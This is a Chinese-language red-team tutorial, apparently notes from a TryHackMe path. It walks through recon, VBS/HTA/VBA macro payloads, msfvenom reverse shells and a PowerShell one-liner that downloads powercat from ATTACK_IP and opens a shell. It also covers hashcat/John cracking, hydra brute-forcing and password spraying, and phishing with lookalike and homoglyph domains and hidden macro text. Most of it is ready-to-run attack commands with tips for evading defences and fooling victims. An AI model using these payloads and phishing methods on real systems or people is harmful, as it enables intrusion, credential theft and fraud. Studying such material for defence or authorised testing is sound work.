赞
踩
红队为了绕过和躲避各种监控手段,总是需要利用各种非常巧妙的手段来达到目的,他们是如何躲避蓝队的防护和监控呢?
被动收集不需要与目标互动。换句话说,不会向目标或目标拥有的系统发送任何数据包或请求。相反,被动收集依赖于由第三方收集和公开的可用信息。开源情报 (OSINT) 用于收集有关目标的信息,可以像查看目标的公开社交媒体资料一样简单。我们可能收集的示例信息包括域名、IP 地址、电子邮件地址、员工姓名和职位发布。
WHOIS 数据库和DNS服务器保存公开信息,查询其中任何一个都不会产生任何可疑流量。
whois 域名/IP
主要查看:
使用默认DNS服务器来获取指定域相关的 A 和 AAAA 记录。
nsookup 域名/IP
指定DNS服务器解析域名的A和 AAAA 记录。
dig 域名 @DNS服务器解析地址
也可以使用host,它是查询DNS服务器以获取 DNS 记录的另一种有用的替代方法
host 域名
发现我们的系统和目标主机之间的跃点。
tracert -d 域名 # -d 不将地址解析成主机名
traceroute 域名
这里不讲解如何具体使用,可以参考文档,因为网上有太多教程了。
Google语法Hacking漏洞库
https://www.exploit-db.com/google-hacking-database
Google官方文档
https://support.google.com/websearch/answer/2466433
关于其他具体的语法搜索:
Edge
https://support.microsoft.com/zh-cn/topic/%E9%AB%98%E7%BA%A7%E6%90%9C%E7%B4%A2%E9%80%89%E9%A1%B9-b92e25f1-0085-4271-bdf9-14aaea720930
duckduckgo
https://help.duckduckgo.com/duckduckgo-help-pages/results/syntax/
使用第三方引擎搜索敏感信息
https://icp.chinaz.com/
https://beian.miit.gov.cn/#/Integrated/recordQuery
whois 站长查询
https://whois.chinaz.com/
国外bgp
https://bgp.he.net/
狗狗查询
https://www.ggcx.com/
seo综合查询
https://seo.chinaz.com/
https://site.ip138.com/
国外Dnslytics
https://dnslytics.com/domain/sjtu.edu.cn
IP查询-站长工具
https://ip.tool.chinaz.com/
主动侦察需要通过发送请求和数据包并观察目标是否响应以及如何响应来与目标进行交互。比如,使用 Nmap 扫描目标子网和活动主机,主动发现的一些信息包括实时主机、正在运行的服务器、开启的服务和版本号。
主动侦察分为
不过一般主动收集会暴露红队的意图,所以比较少用,这里主要介绍被动收集
Windows 脚本宿主是一个内置的 Windows 管理工具,它运行批处理文件以自动执行和管理操作系统中的任务。它是 Windows 原生引擎,cscript.exe (用于命令行脚本)和wscript.exe (用于 UI 脚本),负责执行各种 Microsoft Visual Basic Scripts (VBScript),包括 vbs 和vbe。Windows 操作系统上的 VBScript 引擎以与普通用户相同级别的访问权限和权限运行和执行应用程序;因此,它对红队很有用。
https://en.wikipedia.org/wiki/VBScript
我们可以使用 VBScript 来运行可执行文件。下面的vbs代码是调用Windows计算器
set shell = WScript.CreateObject("Wscript.Shell")
shell.run "C:\Windows\System32\calc.exe "
使用 CreateObject创建WScript库的对象来调用执行负载,最后利用 Run 方法来执行有效载荷,然后成功执行windows计算机 calc.exe
使用wscript运行
wscript payload.vbs
也可以通过cscript运行
cscript payload.vbs
如果 VBS 文件被列入黑名单,那么我们可以将文件重命名为.txt文件并使用wscript运行它,如下所示:
wscript /e:vbscript payload.txt
HTA代表“HTML 应用程序”。它可以创建一个可下载的文件,该文件包含有关其显示和呈现方式的所有信息。HTML 应用程序,也称为 HTA,是包含 JScript 和 VBScript 的动态 HTML页面。红队可以使用这种技术进行钓鱼
下面是html代码:
<html>
<body>
<script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>
kali创建好hta文件后,开启一个8080的http服务
python3 -m http.server 8080
然后访问kali的ip/a.hta,成功下载
执行文件后,可以看见成功执行了cmd弹窗
创建一个反向 shell playload
msfvenom -p windows/x64/shell_reverse_tcp LPORT=4444 -f hta-psh -o thm.hta
然后监听4444端口
这时候访问攻击者的url,并且执行该文件,会接受到一个shell
还有一种使用 Metasploit 框架生成和提供恶意HTA文件的方法。
use exploit/windows/misc/hta_server
最后访问生成的url地址,然后执行恶意文件,MSF会接受到一个反向shell
查看会话列表,然后指定会话,可以和会话进行交互
sessions -l
sessions -i 1
VBA 代表 Visual Basic for Applications,这是 Microsoft 为 Microsoft Word、Excel、PowerPoint 等 Microsoft 应用程序实施的一种编程语言。VBA 编程允许自动执行用户与 Microsoft Office 应用程序之间几乎所有键盘和鼠标交互的任务。
宏是 Microsoft Office 应用程序,其中包含以 VBA 的编程语言编写的嵌入式代码。可以利用这一特性来实现更多的攻击手段。不过通常这种技术适合社会工程学
首先,我们需要通过选择 视图→ 宏来打开 Visual Basic 编辑器。宏窗口显示在文档中创建我们自己的宏。
如图进行操作
然后就进来这个界面
我们尝试显示一个包含以下消息的消息框
将中间修改代码为
MsgBox ("aaaaaaaaaa")
最后F5运行,可以看见成功执行VBA代码
为了在文档打开后自动执行 VBA 代码,我们可以使用内置函数:AutoOpen 和 Document_open。请注意,我们需要指定文档打开后需要运行的函数名称,我使用的是 test 函数(也就是宏的名称)。
Sub Document_Open()
test
End Sub
Sub AutoOpen()
test
End Sub
Sub test()
MsgBox ("aaaaaaaaaaa!")
End Sub
然后Ctrl + s保存,一般情况下我们都是没有启用宏的,会和我一样的这种情况,我们选择否
要使宏起作用,就需要将其保存为启用宏的格式,如.doc 和 docm。将文件保存为Word 97-2003 模板。
打开刚刚另存为的文档,Microsoft Word 将显示一条安全消息,指示宏已被禁用,一旦我们允许启用内容,我们的宏就会执行
可以看见执行成功!
我们再次编辑一个word文档,并和上面一样,创建一个宏,我们执行calc.exe
Sub Document_Open()
PoC
End Sub
Sub AutoOpen()
PoC
End Sub
Sub PoC()
Dim payload As String //使用 Dim payload As String,Dim关键字将payload 变量声明为字符串
payload = "calc.exe" //使用 payload = "calc.exe"我们指定负载名称
CreateObject("Wscript.Shell").Run payload, 0 //最后使用 CreateObject("Wscript.Shell").Run payload我们创建一个 Windows 脚本宿主 (WSH) 对象并运行负载。
End Sub
再次打开,可以看见成功弹窗计算器
虽然VBA/宏本身并不能绕过任何检测,但是我们可以将 VBA 与之前介绍的方法(例如 HTA 和 WSH)结合使用。
使用 msfvenom创建我们的 meterpreter payload 。我们需要指定 Payload 、LHOST和 LPORT 还有生成的代码。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=监听的端口 -f vba-exe -o a.txt
这时候新建一个word,把PLAYLOAD DATA 下面的内容粘贴至word的内容中
然后创建宏,名字任意起。复制宏指令然后粘贴
这时候另存为其他word类型,方法同上,不再赘述。
然后MSF开始监听,等到目标打开word文档的时候就会反向shell
可以看见目标成功上线
不过我们在实战中,这样肯定容易被发现。比较鸡肋的是对方要启用宏,我们不仅需要做免杀处理,还需要对奇奇怪怪的文字进行隐藏,比如:将字符改为白色等姿势。
PowerShell 是 Microsoft 的任务自动化和配置管理程序,由命令行 shell 和相关的脚本语言组成。它是一种面向对象的编程语言。红队通常依靠PowerShell执行各种活动,包括初始访问、系统枚举等。
我们先简单的输入一个 Hello,World!
write-output “Hello,World!”
然后新建一个文件,另存为 1.ps1
PowerShell 的执行策略是一个 安全选项,用于保护系统免于运行恶意脚本,ps1后缀是powershell的执行脚本
powershell -File 1.ps1
当我们执行脚本的时候,可以看见失败了,那是因为Microsoft出于安全目的禁止执行PowerShell脚本.ps1
PowerShell的默认执行策略设置为Restricted ,意思是允许单独的命令但不允许运行任何脚本。
Get-ExecutionPolicy
可以看见当前的执行策略是Restricted,所以不能执行脚本
那么如何更改策略?运行以下命令
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
// RemoteSigned 意味绕过安全执行策略
可以看见,更改成功
Set-ExecutionPolicy -Scope CurrentUser Restricted
当开启绕过安全执行策略的时候,可以看见脚本成功执行
还有另一绕过安全执行策略种方式
powershell -ex bypass -File 1.ps1
这种操作通常比较适合近源渗透。比如:去到某个公司内部,将能触碰到的机子,然后来个反向shell
https://github.com/besimorhino/powercat
获取工具后,然后在工具目录下创建一个http服务
这时候开启另一个终端,监听4444端口:接受目标的连接
这时候在目标机子,输入以下playload
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACK_IP:8080/powercat.ps1');powercat -c ATTACK_IP -p 4444 -e cmd"
这时候返回kali终端,可以看见成功接收到一个shell
不过比较鸡肋的就是,免杀问题。对方有防火墙什么的,或者防护软件等。还需要考虑到如何绕过之类的方法
传输方式是获取权限的主要因素,传输恶意playload有各种各样的方法
此方法通常较利用于社交软件作为媒介,攻击者通过得到信任,发送恶意文件让受害者点击,这是电子通信传输的主要方式。关键是要得到受害者的信任,也就是所谓的社会工程学中的钓鱼。
这种方法通常利用WEB应用进行传输恶意playload,以达到某种权限,如0day。另一种方法是在由红队控制的 Web 服务器上托管恶意负载,利用社会工程以访问或下载恶意文件。使用此方法时,URL 缩短器可能会有所帮助。
近源渗透通常又叫做 “物理渗透”,攻击者利用近源的优势靠近目标的机子,然后展开一些列的操作。
常见利用的USB设备是
具体可以参考这个:
https://www.minitool.com/news/usbharpoon.html
https://attack.mitre.org/techniques/T1091/
密码用作个人访问计算机系统或应用程序的身份验证方法,它相当于一个权限的鉴别,一旦拥有了这个令牌,未经授权的访问可能会导致系统的整体状态和健康发生变化或损坏文件系统。
一个好的字典决定着密码攻击的成败,我们需要收集有利的密码或者创建各种针对性的字典来去爆破
在某些情况下,用户没有更改默认密码,制造商为交换机、防火墙、路由器等产品和设备设置默认密码。通过我们的信息收集,在拥有默认密码的情况下,会提升攻击成功的概率
https://cirt.net/passwords
https://default-password.info/
https://datarecovery.com/rd/default-passwords/
有一些安全研究员随着时间的推移收集和生成弱密码列表,并经常将它们组合成一个大的字典,这些字典是根据他们的经验和他们在渗透测试中看到的内容生成的。
https://wiki.skullsecurity.org/index.php?title=Passwords
https://github.com/danielmiessler/SecLists/tree/master/Passwords
假设我们有多个单词列表,可以将这些词表组合成一个大文件。
cat pass1.txt pass2.txt pass3.txt > password.txt
清理生成的组合字典以删除重复的单词,我们可以使用 sort 和 uniq 命令
sort pass_list.txt | uniq -u > password.txt
# sort 命令以默认的式对文件的行进行排序
# uniq -u 仅显示出一次的行列
自定义生成字典是增加找到有效密码机会的最佳方法之一,我们可以通过前面的信息收集,然后自定义生成密码本,比如:有关员工的重要信息,包括电子邮件和员工姓名。
cewl 可用于有效地抓取网站并提取字符串或关键字,可以生成特定于给定公司或目标的词表。
cewl -w pass.txt -d 5 -m 5 target.com
# -w 将内容写入指定文件
# -m 5 收集 5 个或更多字符的字符串(单词)
# -d 5 是网络爬虫/爬虫的深度级别(默认2)
crunch 命令可以生成指定的字符、数字和符号 。
crunch 4 4 123456@ -o a.txt
指定长度为4 ,字符为123456@ -o指定输出的文件名
crunch 还允许我们使用 -t 选项指定一个字符集来组合我们选择的单词
@ - 小写字母字符
, - 大写字母字符
% - 数字字符
^ - 包括空格在内的特殊字符
比如我们知道,管理员的密码包含ranran,后面包含两个数字,可以使用 上面的% 符号来匹配数字
crunch 8 8 ranran%% -o pass.txt
cupp 工具 适合将收集到受害者的信息,如生日、宠物、公司名、口头禅、在意的名词等,这个工具可以根据已知的信息生成密码字典。
https://github.com/Mebus/cupp
python3 cupp.py -i
交互模式、根据输入的选项生成字典,如果没有给定字段的答案,请按 Enter 键跳过它
最后生成在本地
密码破解是一种通过使用的字典来猜测密码的技术
比方说,我们获得了以下哈希值:f6fdffe48c908deb0f4c3bd36c032e72,并想进行字典来破解它。首先,要了解两点
这里我使用 hash-identifier 来识别哈希的类型,当然也可以使用hashid或类似的工具
可以看到推测的结果可能是MD5值
hashcat 是一种流行的哈希破解工具,破解哈希的时间取决于使用的硬件(CPU 和/或 GPU),所以要想速度更快:硬性条件就是硬件
hashcat -a 0 -m 0 f6fdffe48c908deb0f4c3bd36c032e72 /usr/share/wordlists/rockyou.txt
可以看见花了4秒的时间就破解完了
哈希已被破解,还想查看之前的密码是什么
hashcat 哈希值 --show
该软件破解密码方式简单而粗暴,理论上只要时间上面允许,该软件可以破译绝大多数用户密码。John the Ripper免费的开源软件,支持目前大多数的加密算法,如DES、MD4、MD5等。
首先把哈希值,放入到一个文件
如果什么参数都不加,john工具会自动推荐参数让你使用,否则它会自动破解
john hash.txt
john hash.txt --format=Raw-MD5 -w /usr/share/wordlists/rockyou.txt
/root/.john/john.pot 文件下存储着成功破译的密码
cat /root/.john/john.pot
也可以使用在线的网站尝试破解密码
https://www.somd5.com/
https://crackstation.net/
通常这些协议的密码都是没有经过加密的,和哈希爆破不一样。使用用户名和密码身份验证方案的网络服务的密码,包括 HTTP、SSH、VNC、FTP、SNMP、POP3 等服务
Hydra 支持广泛的网络服务攻击列表。这里使用hydra工具演示,关于其他的工具:Medusa、Ncrack、others!
hydra -l target@gmail.com -P pass.txt smtp://xx.xx.xx.xx -v -t 20 -f
# ip前面的是协议
# -t 指定线程
# -l 指定用户名 / -L用户名字典
# -P 指定密码字典 / -p 指定密码
# -v/-V 显示详细过程
# -f 密码成功时候停止运行
其他协议的爆破
#破解rdp(3389):
hydra -l administrator -P password.txt -V IP rdp
#破解mysql:
hydra ip -L 用户名 -P pass.txt -V mysql
#破解ssh:
hydra -L user.txt -P password.txt -e ns -vV IP ssh
#破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
#破解cisco:
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt IP cisco-enable
#破解smb:
hydra -l administrator -P pass.txt IP smb
#破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
#破解http-proxy:
hydra -l admin -P pass.txt http-proxy://IP
#破解imap:
hydra -L user.txt -p imap://ip PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
#破解telnet
hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
密码喷洒是一种用于识别有效凭据的有效技术。如今被认为是发现弱密码的常见密码攻击之一,攻击者通过已知的弱点密码,然后针对不同的协议或不同的用户名进行密码爆破
我们已经枚举了系统并创建了一个有效的用户名列表。
root@y:~# cat username.txt
admin
victim
dummy
adm
sammy
这里我们可以使用 hydra使用已知弱密码123456对SSH服务进行密码喷射攻击
root@y:~$ hydra -L usernames.txt -p 123456 ssh://10.10.1.10
[INFO] Successful, password authentication is supported by ssh://10.10.1.10:22
[22][ssh] host: 10.10.1.10 login: victim password: 123456
[STATUS] attack finished for 10.1.1.10 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
社会工程是通过利用人性的弱点来操纵人们执行或泄露信息的心理。这些“弱点”可能是好奇心、嫉妒心、贪婪,甚至是善良和乐于助人。网络钓鱼是一种通过电子邮件或其他电子通信方式进行的社会工程,目的是诱骗某人泄露个人信息、凭据,甚至在他们的计算机上执行恶意代码。
通过伪装来达到目标信任,这对钓鱼成功的机率起着绝对性的作用
购买具有一定历史的域名,邮件过滤器方面可能不会判断你的域名不可信任
伪造域名是指注册域看起来与您试图模仿的目标域非常相似
拼写错误: goggle.com 与 google.com
附加域: go.ogle.com vs google.com
切换字母数字: g00gle.com 与google.com
添词: googles.com 与google.com
顶级域名 (TLD)是 .com .net .co.uk .org .gov 等域名的一部分,现在有 100 多种 TLD 变体。选择顶级域的一个常见技巧是使用相同的名称但具有不同的 TLD。
例如:
# 真域名
google.com
# 假域名
google.uk
最初域名由拉丁字符 az 和 0-9 组成,但在 1998 年实施了 IDN(国际化域名)以支持来自其他语言(如阿拉伯语、中文、西里尔语、希伯来语等)的特定语言文字或字母表。IDN 实施引起的一个问题是来自不同语言的不同字母实际上可能看起来相同,使攻击者能够注册一个看起来几乎相同的域名。
例如:
# 真域名
www.oppo.com
# 假域名
www.οppο.com
为选择的域名创建 SSL/TLS 证书将为攻击增加一层额外的真实性。设置DNS记录(例如 SPF、DKIM、DMARC)将提高电子邮件的送达率并确保它们进入收件箱而不是垃圾邮件文件夹。
例如:
您的帐户已被盗用。
您的包裹已发货/发货。
员工工资信息(请勿转发!)
您的照片已发布。
钓鱼期间,Microsoft Office 文档(通常是 Word、Excel 或 PowerPoint)将作为附件包含在内。我们可以利用这点,欺骗受害者,让受害者执行恶意宏。
攻击者利用cs或其他工具复制受害者所信任的网站,从而实现钓鱼,具体可以参考这篇
https://www.sqlsec.com/2020/10/xss2.html#%E9%92%93%E9%B1%BC%E6%B5%81%E7%A8%8B
在THM学习总结的笔记,一句话概括下:就是收集敏感信息,然后找到利用点就尝试传输各种playload,这些利用的包括web漏洞也包括社工,最重要的是要如何规避和隐藏自己的行动意图不被暴露。
https://tryhackme.com/paths
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。